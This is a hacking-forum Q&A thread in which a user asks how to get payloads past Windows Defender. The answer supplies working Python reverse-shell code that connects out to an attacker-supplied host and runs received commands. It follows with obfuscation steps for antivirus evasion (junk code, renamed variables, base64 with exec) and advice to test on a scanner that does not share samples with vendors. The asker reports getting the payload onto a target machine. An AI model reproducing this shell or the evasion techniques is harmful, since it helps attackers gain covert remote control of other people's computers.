+2 votes
113 views
I've used fatrat, veil evasion and msf to generate payload to generate 3 different payloads. I have transferred the payload as a zip file so defender can't block as it is not a .exe file.
asked by (2 points) | 113 views

1 Answer

+2 votes

This is one of the most challenging part in a pentest. If all of the encoding methods failed, you have to stop using msfvenom and use your own skills to craft a payload. Anti-virus softwares dbs are updating every day so making a payload with common tools it not a good idea. Create your own payload in Python, C, C++, or VBS and convert it to executable.

 
Example 
 Payload in python
import socket
import subprocess 

s=socket.socket() 
s.connect(("<your_lhost>",<your_port>)) 
while 1:
  p = subprocess.Popen(s.recv(1024),  shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

  s.send(p.stdout.read() + p.stderr.read())
This is a python reverse_tcp shell payload.
 
Now tweak the code little bit to evade AV detection.
1. Adding some random lines of code in between
2. Using very large random variable name
3. Change encoding and name variables to languages like chineese or hindi
4.  Encode the whole code to base46 and use exec() function to execute the payload tutorial here.
 
Now you can convert python to exe. Similar codes are available for other languages (VBS will work great)
 
DO NOT upload your payload to VirusTotal you can check it on Nodistribute
 
answered by (2 points)
Thank you. But I've uploaded my payload to nodistribute before sending it to the target machine. It was detected by 2-3 AV's. So I changed my code. No AV detected it. Then I uploaded it to the target machine buy it was detected by defender and Nodistribute apparently doesn't have defender in it. But thanks it was really helpful.
Welcome to Askthehackers, where you can ask questions and receive answers from other members of the community.
Sign-up Now!
20 questions
17 answers
19 comments
116 users